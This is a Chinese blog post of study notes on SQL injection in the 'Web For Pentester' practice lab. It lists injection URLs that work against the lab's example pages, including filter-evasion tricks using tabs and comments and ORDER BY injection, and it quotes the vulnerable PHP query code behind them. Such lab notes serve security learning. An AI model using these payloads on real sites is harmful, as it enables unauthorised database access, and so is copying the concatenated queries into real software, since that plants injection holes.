syntax highlighter

2013年10月14日星期一

Web For Pentester 学习笔记 4 - SQL injections

本来显示的只有admin的信息,这样就会把全表其他人员的信息都弄出来了
# 用空格即%20尝试
http://vulnerable/sqli/example1.php?name=admin' or '1'='1  

# 用tab即%09尝试
http://vulnerable/sqli/example2.php?name=admin'%09or%09'1'='1     

# 就算把空格和tab都过滤了,也可以用注释尝试
http://vulnerable/sqli/example3.php?name=admin'/**/or/**/'1'='1

# 当然最简单的方法是
http://vulnerable/sqli/example4.php?id=2 or 1=1;--

# 只要以数字结尾就可以了
http://vulnerable/sqli/example6.php?id=2 or 1=1#123

# 不行就试试这样
http://vulnerable/sqli/example7.php?id=2%0A or 1=1#123

# 这种也行
http://vulnerable/sqli/example8.php?order=name` %23

# 这种也行
http://vulnerable/sqli/example9.php?order=IF(0,name,age)


// 带风险的对应代码
$sql = "SELECT * FROM users WHERE name='" . $_GET["name"] . "'";
$sql = "SELECT * FROM users WHERE id=" . mysql_real_escape_string($_GET["id"]);
$sql = "SELECT * FROM users ORDER BY `" . mysql_real_escape_string($_GET["order"]) . "`";

没有评论:

发表评论